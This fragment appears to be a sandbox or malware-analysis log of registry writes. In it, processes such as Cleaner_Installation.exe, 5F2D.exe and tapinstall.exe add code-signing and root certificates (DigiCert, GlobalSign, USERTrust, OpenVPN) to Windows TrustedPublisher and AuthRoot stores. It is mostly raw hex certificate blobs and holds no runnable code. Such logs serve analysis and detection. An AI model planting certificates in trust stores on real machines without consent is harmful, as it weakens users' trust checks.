d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 installer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\5E66E0CA2367757E800E65B770629026E131A7DC 5F2D.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\CBC64D0FC770B1694DF723BB18B5679CE09B61CA\Blob = 0f00000001000000200000002dc1a6a6cb0cb42f7e0d2c56f38bc7decbccd143405f669070ce130f9249ba48030000000100000014000000cbc64d0fc770b1694df723bb18b5679ce09b61ca20000000010000000c06000030820608308204f0a00302010202100ebd24bdfbd4adddd2edd27e8fb1953c300d06092a864886f70d01010b0500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b302906035504031322446967694365727420455620436f6465205369676e696e6720434120285348413229301e170d3136303230393030303030305a170d3139303231333132303030305a3082011d311d301b060355040f0c1450726976617465204f7267616e697a6174696f6e31133011060b2b0601040182373c0201031302555331193017060b2b0601040182373c020102130844656c61776172653110300e06035504051307333736313235363129302706035504091320353938302053746f6e6572696467652044726976652c20537569746520313033310e300c060355041113053934353838310b3009060355040613025553311330110603550408130a43616c69666f726e6961311330110603550407130a506c656173616e746f6e31233021060355040a131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e312330210603550403131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e30820122300d06092a864886f70d01010105000382010f003082010a0282010100dbfa60e717145ef04d047ef2824532ee8a363d6b8fda58b639832f07eccba53b0446715d150e886195607af12d04e77a0f90bca14e70a782603b0ee5b9dca6cf43d5befb9887c54a3a507a82c7dd4a3fec3aed83171ff020b0c1ca50b87751a597b13454a31bd07796eea97ee55631a43d92cbc7275dfc6da478de5f3c8e2c3431db592d2410de2e789465cf73498df4e042aaa085855603e5165b84e25f27c6d29f77a1cc7bf2875da81395715c662b0333b025b37fcac7bd2f3b50a497613d972182c25e796e0dc453264c6e5340bd4962d5d3d37db06dfc03efb0ba8215b9ef2ef52c15d369db3a732259d286a9aa761ccafff0558c8efdab678d785cfe370203010001a38201f1308201ed301f0603551d230418301680148fe87ef06d326a000523c770976a3a90ff6bead4301d0603551d0e041604149bb182bc8ec73483e7d3569d57448488d1803437302e0603551d1104273025a02306082b06010505070803a01730150c1355532d44454c41574152452d33373631323536300e0603551d0f0101ff04040302078030130603551d25040c300a06082b06010505070303307b0603551d1f047430723037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4556436f64655369676e696e67534841322d67312e63726c3037a035a0338631687474703a2f2f63726c342e64696769636572742e636f6d2f4556436f64655369676e696e67534841322d67312e63726c304b0603551d2004443042303706096086480186fd6c0302302a302806082b06010505070201161c68747470733a2f2f7777772e64696769636572742e636f6d2f4350533007060567810c0103307e06082b0601050507010104723070302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304806082b06010505073002863c687474703a2f2f636163657274732e64696769636572742e636f6d2f44696769436572744556436f64655369676e696e6743412d534841322e637274300c0603551d130101ff04023000300d06092a864886f70d01010b050003820101006c24a9a7e30a7db2301b344f60cd1b1daf32fce4207ff625bd635f062f8a65301a7d66fade8ba809d0863421631692ef527119eaed4d1f012a98606727c8682aaf1099ca03ab9e996184f4186bce0ca7739c9e6e7144972012ac6eb4ac7db2122b244546f09647fa477a0613401f42e72f4a56fd687d946c4a41e1d1238fe8959e0b6e0cb692e92d96ccc7bde669843c60a374d001608328688790f65ababb20c78c59dad5b32bd79d67c60341c754eae510e08f897e6190c3af2d171261bcea2905545682ace869cd7cc3e66e635dd4f6420dcdc0909b780456523f685aec28b7a5585fae78f36ae3b84d0690f5ee0aa522245546508b2fadb6975f6082d11f tapinstall.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD\Blob = 0f00000001000000200000005229ba15b31b0c6f4cca89c2985177974327d1b689a3b935a0bd975532af22ab090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520033000000620000000100000020000000cbb522d7b7f127ad6a0113865bdf1cd4102e7d0759af635a7cf4720dc963c53b1400000001000000140000008ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc1d000000010000001000000001728e1ecf7a9d86fb3cec8948aba953030000000100000014000000d69b561148f01c77c54578c10926df5b856976ad2000000001000000630300003082035f30820247a003020102020b04000000000121585308a2300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3039303331383130303030305a170d3239303331383130303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100cc2576907906782216f5c083b684ca289efd057611c5ad8872fc460243c7b28a9d045f24cb2e4be1608246e152ab0c8147706cdd64d1ebf52ca30f823d0c2bae97d7b614861079bb3b1380778c08e149d26a622f1f5efa9668df892795389f06d73ec9cb26590d73deb0c8e9260e8315c6ef5b8bd20460ca49a628f6693bf6cbc82891e59d8a615737ac7414dc74e03aee722f2e9cfbd0bbbff53d00e10633e8822bae53a63a16738cdd410e203ac0b4a7a1e9b24f902e3260e957cbb904926868e538266075b29f77ff9114efae2049fcad401548d1023161195eb897efad77b7649a7abf5fc113ef9b62fb0d6ce0546916a903da6ee983937176c6698582170203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc300d06092a864886f70d01010b050003820101004b40dbc050aafec80ceff796544549bb96000941acb3138686280733ca6be674b9ba002daea40ad3f5f1f10f8abf73674a83c7447b78e0af6e6c6f03298e333945c38ee4b9576caafc1296ec53c62de4246cb99463fbdc536867563e83b8cf3521c3c968fecedac253aacc908ae9f05d468c95dd7a58281a2f1ddecd0037418fed446dd75328977ef367041e15d78a96b4d3de4c27a44c1b737376f41799c21f7a0ee32d08ad0a1c2cff3cab550e0f917e36ebc35749bee12e2d7c608bc3415113239dcef7326b9401a899e72c331f3a3b25d28640ce3b2c8678c9612f14baeedb556fdf84ee05094dbd28d872ced36250651eeb92978331d9b3b5ca47583f5f Cleaner_Installation.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E Cleaner_Installation.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\5E66E0CA2367757E800E65B770629026E131A7DC\Blob = 0f00000001000000140000001b4e387db74a69a0470cb08f598beb3b511617530300000001000000140000005e66e0ca2367757e800e65b770629026e131a7dc2000000001000000ba060000308206b63082059ea003020102021004d54dc0a2016b263eeeb255d321056e300d06092a864886f70d0101050500306f310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312e302c060355040313254469676943657274204173737572656420494420436f6465205369676e696e672043412d31301e170d3133303831333030303030305a170d3136303930323132303030305a308181310b3009060355040613025553311330110603550408130a43616c69666f726e6961311330110603550407130a506c656173616e746f6e31233021060355040a131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e312330210603550403131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e30820122300d06092a864886f70d01010105000382010f003082010a0282010100a10462099150b2575bc037614701c292ba96e98270fdb06e1d1f40343e720e259d6f9fdf59bcb9365f8cea69689aed7a4354591db75509826ad71ab3f00cb18ed11157effc5eb3bf5730b33b5ba76fd73f3fd7f1b2256410223a7f8f5f52b6fb8b31a979cc50f831880fc837c81168e74dd4f57368ef55a1dbe480a815128e0d944d4d70be02ed65efe486a020f50dfdfe6d2a0dfab3ff9885fdb1bc39b79bb0a38183e42d557a60da66883c3307c208655da1a43eeb2393ea10b200f55ddfd66da47eae911eebe43113c7aafdf8e13d2fef2604eac2e3739021816b323dc9ef0f8411a1a7921023ff3cd7f1f4d4307f6ad13816d47b93823c9683069315088d0203010001a382033930820335301f0603551d230418301680147b68ce29aac017be497ae1e53fd6a7f7458f3532301d0603551d0e041604149afe50cc7c723e76b49c036a97a88c8135cb6651300e0603551d0f0101ff04040302078030130603551d25040c300a06082b0601050507030330730603551d1f046c306a3033a031a02f862d687474703a2f2f63726c332e64696769636572742e636f6d2f617373757265642d63732d32303131612e63726c3033a031a02f862d687474703a2f2f63726c342e64696769636572742e636f6d2f617373757265642d63732d32303131612e63726c308201c40603551d20048201bb308201b7308201b306096086480186fd6c0301308201a4303a06082b06010505070201162e687474703a2f2f7777772e64696769636572742e636f6d2f73736c2d6370732d7265706f7369746f72792e68746d3082016406082b06010505070202308201561e8201520041006e007900200075007300650020006f00660020007400680069007300200043006500720074006900660069006300610074006500200063006f006e0073007400690074007500740065007300200061006300630065007000740061006e006300650020006f00660020007400680065002000440069006700690043006500720074002000430050002f00430050005300200061006e00640020007400680065002000520065006c00790069006e0067002000500061007200740079002000410067007200650065006d0065006e00740020007700680069006300680020006c0069006d006900740020006c0069006100620069006c00690074007900200061006e0064002000610072006500200069006e0063006f00720070006f00720061007400650064002000680065007200650069006e0020006200790020007200650066006500720065006e00630065002e30818206082b0601050507010104763074302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304c06082b060105050730028640687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274417373757265644944436f64655369676e696e6743412d312e637274300c0603551d130101ff04023000300d06092a864886f70d0101050500038201010035d3e402ab7e93e4c84f74475c2403fbaf99335beb29aef76c0cbadf9eed476e26ae26aa5e87bb55e851926d2db986d674efd71abe7ecdc4b57c98d65b862725bd09e466949c3cf68cb40631d734ee948e4a7e5c849edf9757530a17e85c91e3dbc61e31a5d30b7250e83316c23728cc3fc0c721f61780a9f8542b575131652426be91885d9756313eff308755b60ccf6ade5f7bd7e32690a51c0b470a3bfe9dbedad74b535349ff469baa3e4d741d7db011501f80afdc4138a345c36e78710681be9d5b2bd45620bfaddf8e4ebd58e0820296f5c40c06fc48db187ff49fcaf489866fdae7c4d7224e3548bac384a5e7b59175c8fd6a667fa6ee3838802ce9be tapinstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD Cleaner_Installation.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD\Blob = 190000000100000010000000d0fd3c9c380d7b65e26b9a3fedd39b8f030000000100000014000000d69b561148f01c77c54578c10926df5b856976ad1d000000010000001000000001728e1ecf7a9d86fb3cec8948aba9531400000001000000140000008ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc620000000100000020000000cbb522d7b7f127ad6a0113865bdf1cd4102e7d0759af635a7cf4720dc963c53b0b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520033000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000200000005229ba15b31b0c6f4cca89c2985177974327d1b689a3b935a0bd975532af22ab2000000001000000630300003082035f30820247a003020102020b04000000000121585308a2300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3039303331383130303030305a170d3239303331383130303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100cc2576907906782216f5c083b684ca289efd057611c5ad8872fc460243c7b28a9d045f24cb2e4be1608246e152ab0c8147706cdd64d1ebf52ca30f823d0c2bae97d7b614861079bb3b1380778c08e149d26a622f1f5efa9668df892795389f06d73ec9cb26590d73deb0c8e9260e8315c6ef5b8bd20460ca49a628f6693bf6cbc82891e59d8a615737ac7414dc74e03aee722f2e9cfbd0bbbff53d00e10633e8822bae53a63a16738cdd410e203ac0b4a7a1e9b24f902e3260e957cbb904926868e538266075b29f77ff9114efae2049fcad401548d1023161195eb897efad77b7649a7abf5fc113ef9b62fb0d6ce0546916a903da6ee983937176c6698582170203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc300d06092a864886f70d01010b050003820101004b40dbc050aafec80ceff796544549bb96000941acb3138686280733ca6be674b9ba002daea40ad3f5f1f10f8abf73674a83c7447b78e0af6e6c6f03298e333945c38ee4b9576caafc1296ec53c62de4246cb99463fbdc536867563e83b8cf3521c3c968fecedac253aacc908ae9f05d468c95dd7a58281a2f1ddecd0037418fed446dd75328977ef367041e15d78a96b4d3de4c27a44c1b737376f41799c21f7a0ee32d08ad0a1c2cff3cab550e0f917e36ebc35749bee12e2d7c608bc3415113239dcef7326b9401a899e72c331f3a3b25d28640ce3b2c8678c9612f14baeedb556fdf84ee05094dbd28d872ced36250651eeb92978331d9b3b5ca47583f5f Cleaner_Installation.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E\Blob = 5c000000010000000400000000100000190000000100000010000000ea6089055218053dd01e37e1d806eedf0300000001000000140000002b8f1b57330dbba2d07a6c51f70ee90ddab9ad8e0b00000001000000100000005300650063007400690067006f0000001d0000000100000010000000885010358d29a38f059b028559c95f901400000001000000140000005379bf5aaa2b4acf5480e1d89bc09df2b20366cb620000000100000020000000e793c9b02fd8aa13e21c31228accb08119643b749c898964b1746d46c3d4cbd253000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f000000010000003000000066b764a96581128168cf208e374dda479d54e311f32457f4aee0dbd2a6c8d171d531289e1cd22bfdbbd4cfd9796254830400000001000000100000001bfe69d191b71933a372a80fe155e5b52000000001000000e2050000308205de308203c6a003020102021001fd6d30fca3ca51a81bbc640e35032d300d06092a864886f70d01010c0500308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010080126517360ec3db08b3d0ac570d76edcd27d34cad508361e2aa204d092d6409dcce899fcc3da9ecf6cfc1dcf1d3b1d67b3728112b47da39c6bc3a19b45fa6bd7d9da36342b676f2a93b2b91f8e26fd0ec162090093ee2e874c918b491d46264db7fa306f188186a90223cbcfe13f087147bf6e41f8ed4e451c61167460851cb8614543fbc33fe7e6c9cff169d18bd518e35a6a766c87267db2166b1d49b7803c0503ae8ccf0dcbc9e4cfeaf0596351f575ab7ffcef93db72cb6f654ddc8e7123a4dae4c8ab75c9ab4b7203dca7f2234ae7e3b68660144e7014e46539b3360f794be5337907343f332c353efdbaafe744e69c76b8c6093dec4c70cdfe132aecc933b517895678bee3d56fe0cd0690f1b0ff325266b336df76e47fa7343e57e0ea566b1297c3284635589c40dc19354301913acd37d37a7eb5d3a6c355cdb41d712daa9490bdfd8808a0993628eb566cf2588cd84b8b13fa4390fd9029eeb124c957cf36b05a95e1683ccb867e2e8139dcc5b82d34cb3ed5bffdee573ac233b2d00bf3555740949d849581a7f9236e651920ef3267d1c4d17bcc9ec4326d0bf415f40a94444f499e757879e501f5754a83efd74632fb1506509e658422e431a4cb4f0254759fa041e93d426464a5081b2debe78b7fc6715e1c957841e0f63d6e962bad65f552eea5cc62808042539b80e2ba9f24c971c073f0d52f5edef2f820f0203010001a3423040301d0603551d0e041604145379bf5aaa2b4acf5480e1d89bc09df2b20366cb300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300d06092a864886f70d01010c050003820201005cd47c0dcff7017d4199650c73c5529fcbf8cf99067f1bda43159f9e0255579614f1523c27879428ed1f3a0137a276fc5350c0849bc66b4eba8c214fa28e556291f36915d8bc88e3c4aa0bfdefa8e94b552a06206d55782919ee5f305c4b241155ff249a6e5e2a2bee0b4d9f7ff70138941495430709fb60a9ee1cab128ca09a5ea7986a596d8b3f08fbc8d145af18156490120f73282ec5e2244efc58ecf0f445fe22b3eb2f8ed2d9456105c1976fa876728f8b8c36afbf0d05ce718de6a66f1f6ca67162c5d8d083720cf16711890c9c134c7234dfbcd571dfaa71dde1b96c8c3c125d65dabd5712b6436bffe5de4d661151cf99aeec17b6e871918cde49fedd3571a21527941ccf61e326bb6fa36725215de6dd1d0b2e681b3b82afec836785d4985174b1b9998089ff7f78195c794a602e9240ae4c372a2cc9c762c80e5df7365bcae0252501b4dd1a079c77003fd0dcd5ec3dd4fabb3fcc85d66f7fa92ddfb902f7f5979ab535dac367b0874aa9289e238eff5c276be1b04ff307ee002ed45987cb524195eaf447d7ee6441557c8d590295dd629dc2b9ee5a287484a59bb790c70c07dff589367432d628c1b0b00be09c4cc31cd6fce369b54746812fa282abd3634470c48dff2d33baad8f7bb57088ae3e19cf4028d8fcc890bb5d9922f552e658c51f883143ee881dd7c68e3c436a1da718de7d3d16f162f9ca90a8fd Cleaner_Installation.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E\Blob = 0400000001000000100000001bfe69d191b71933a372a80fe155e5b50f000000010000003000000066b764a96581128168cf208e374dda479d54e311f32457f4aee0dbd2a6c8d171d531289e1cd22bfdbbd4cfd979625483090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000e793c9b02fd8aa13e21c31228accb08119643b749c898964b1746d46c3d4cbd21400000001000000140000005379bf5aaa2b4acf5480e1d89bc09df2b20366cb1d0000000100000010000000885010358d29a38f059b028559c95f900b00000001000000100000005300650063007400690067006f0000000300000001000000140000002b8f1b57330dbba2d07a6c51f70ee90ddab9ad8e190000000100000010000000ea6089055218053dd01e37e1d806eedf2000000001000000e2050000308205de308203c6a003020102021001fd6d30fca3ca51a81bbc640e35032d300d06092a864886f70d01010c0500308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010080126517360ec3db08b3d0ac570d76edcd27d34cad508361e2aa204d092d6409dcce899fcc3da9ecf6cfc1dcf1d3b1d67b3728112b47da39c6bc3a19b45fa6bd7d9da36342b676f2a93b2b91f8e26fd0ec162090093ee2e874c918b491d46264db7fa306f188186a90223cbcfe13f087147bf6e41f8ed4e451c61167460851cb8614543fbc33fe7e6c9cff169d18bd518e35a6a766c87267db2166b1d49b7803c0503ae8ccf0dcbc9e4cfeaf0596351f575ab7ffcef93db72cb6f654ddc8e7123a4dae4c8ab75c9ab4b7203dca7f2234ae7e3b68660144e7014e46539b3360f794be5337907343f332c353efdbaafe744e69c76b8c6093dec4c70cdfe132aecc933b517895678bee3d56fe0cd0690f1b0ff325266b336df76e47fa7343e57e0ea566b1297c3284635589c40dc19354301913acd37d37a7eb5d3a6c355cdb41d712daa9490bdfd8808a0993628eb566cf2588cd84b8b13fa4390fd9029eeb124c957cf36b05a95e1683ccb867e2e8139dcc5b82d34cb3ed5bffdee573ac233b2d00bf3555740949d849581a7f9236e651920ef3267d1c4d17bcc9ec4326d0bf415f40a94444f499e757879e501f5754a83efd74632fb1506509e658422e431a4cb4f0254759fa041e93d426464a5081b2debe78b7fc6715e1c957841e0f63d6e962bad65f552eea5cc62808042539b80e2ba9f24c971c073f0d52f5edef2f820f0203010001a3423040301d0603551d0e041604145379bf5aaa2b4acf5480e1d89bc09df2b20366cb300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300d06092a864886f70d01010c050003820201005cd47c0dcff7017d4199650c73c5529fcbf8cf99067f1bda43159f9e0255579614f1523c27879428ed1f3a0137a276fc5350c0849bc66b4eba8c214fa28e556291f36915d8bc88e3c4aa0bfdefa8e94b552a06206d55782919ee5f305c4b241155ff249a6e5e2a2bee0b4d9f7ff70138941495430709fb60a9ee1cab128ca09a5ea7986a596d8b3f08fbc8d145af18156490120f73282ec5e2244efc58ecf0f445fe22b3eb2f8ed2d9456105c1976fa876728f8b8c36afbf0d05ce718de6a66f1f6ca67162c5d8d083720cf16711890c9c134c7234dfbcd571dfaa71dde1b96c8c3c125d65dabd5712b6436bffe5de4d661151cf99aeec17b6e871918cde49fedd3571a21527941ccf61e326bb6fa36725215de6dd1d0b2e681b3b82afec836785d4985174b1b9998089ff7f78195c794a602e9240ae4c372a2cc9c762c80e5df7365bcae0252501b4dd1a079c77003fd0dcd5ec3dd4fabb3fcc85d66f7fa92ddfb902f7f5979ab535dac367b0874aa9289e238eff5c276be1b04ff307ee002ed45987cb524195eaf447d7ee6441557c8d590295dd629dc2b9ee5a287484a59bb790c70c07dff589367432d628c1b0b00be09c4cc31cd6fce369b54746812fa282abd3634470c48dff2d33baad8f7bb57088ae3e19cf4028d8fcc890bb5d9922f552e658c51f883143ee881dd7c68e3c436a1da718de7d3d16f162f9ca90a8fd Cleaner_Installation.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25 installer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43 installer.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\5E66E0CA2367757E800E65B770629026E131A7DC\Blob = 0300000001000000140000005e66e0ca2367757e800e65b770629026e131a7dc2000000001000000ba060000308206b63082059ea003020102021004d54dc0a2016b263eeeb255d321056e300d06092a864886f70d0101050500306f310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312e302c060355040313254469676943657274204173737572656420494420436f6465205369676e696e672043412d31301e170d3133303831333030303030305a170d3136303930323132303030305a308181310b3009060355040613025553311330110603550408130a43616c69666f726e6961311330110603550407130a506c656173616e746f6e31233021060355040a131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e312330210603550403131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e30820122300d06092a864886f70d01010105000382010f003082010a0282010100a10462099150b2575bc037614701c292ba96e98270fdb06e1d1f40343e720e259d6f9fdf59bcb9365f8cea69689aed7a4354591db75509826ad71ab3f00cb18ed11157effc5eb3bf5730b33b5ba76fd73f3fd7f1b2256410223a7f8f5f52b6fb8b31a979cc50f831880fc837c81168e74dd4f57368ef55a1dbe480a815128e0d944d4d70be02ed65efe486a020f50dfdfe6d2a0dfab3ff9885fdb1bc39b79bb0a38183e42d557a60da66883c3307c208655da1a43eeb2393ea10b200f55ddfd66da47eae911eebe43113c7aafdf8e13d2fef2604eac2e3739021816b323dc9ef0f8411a1a7921023ff3cd7f1f4d4307f6ad13816d47b93823c9683069315088d0203010001a382033930820335301f0603551d230418301680147b68ce29aac017be497ae1e53fd6a7f7458f3532301d0603551d0e041604149afe50cc7c723e76b49c036a97a88c8135cb6651300e0603551d0f0101ff04040302078030130603551d25040c300a06082b0601050507030330730603551d1f046c306a3033a031a02f862d687474703a2f2f63726c332e64696769636572742e636f6d2f617373757265642d63732d32303131612e63726c3033a031a02f862d687474703a2f2f63726c342e64696769636572742e636f6d2f617373757265642d63732d32303131612e63726c308201c40603551d20048201bb308201b7308201b306096086480186fd6c0301308201a4303a06082b06010505070201162e687474703a2f2f7777772e64696769636572742e636f6d2f73736c2d6370732d7265706f7369746f72792e68746d3082016406082b06010505070202308201561e8201520041006e007900200075007300650020006f00660020007400680069007300200043006500720074006900660069006300610074006500200063006f006e0073007400690074007500740065007300200061006300630065007000740061006e006300650020006f00660020007400680065002000440069006700690043006500720074002000430050002f00430050005300200061006e00640020007400680065002000520065006c00790069006e0067002000500061007200740079002000410067007200650065006d0065006e00740020007700680069006300680020006c0069006d006900740020006c0069006100620069006c00690074007900200061006e0064002000610072006500200069006e0063006f00720070006f00720061007400650064002000680065007200650069006e0020006200790020007200650066006500720065006e00630065002e30818206082b0601050507010104763074302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304c06082b060105050730028640687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274417373757265644944436f64655369676e696e6743412d312e637274300c0603551d130101ff04023000300d06092a864886f70d0101050500038201010035d3e402ab7e93e4c84f74475c2403fbaf99335beb29aef76c0cbadf9eed476e26ae26aa5e87bb55e851926d2db986d674efd71abe7ecdc4b57c98d65b862725bd09e466949c3cf68cb40631d734ee948e4a7e5c849edf9757530a17e85c91e3dbc61e31a5d30b7250e83316c23728cc3fc0c721f61780a9f8542b575131652426be91885d9756313eff308755b60ccf6ade5f7bd7e32690a51c0b470a3bfe9dbedad74b535349ff469baa3e4d741d7db011501f80afdc4138a345c36e78710681be9d5b2bd45620bfaddf8e4ebd58e0820296f5c40c06fc48db187ff49fcaf489866fdae7c4d7224e3548bac384a5e7b59175c8fd6a667fa6ee3838802ce9be 5F2D.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\CBC64D0FC770B1694DF723BB18B5679CE09B61CA 5F2D.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\CBC64D0FC770B1694DF723BB18B5679CE09B61CA\Blob = 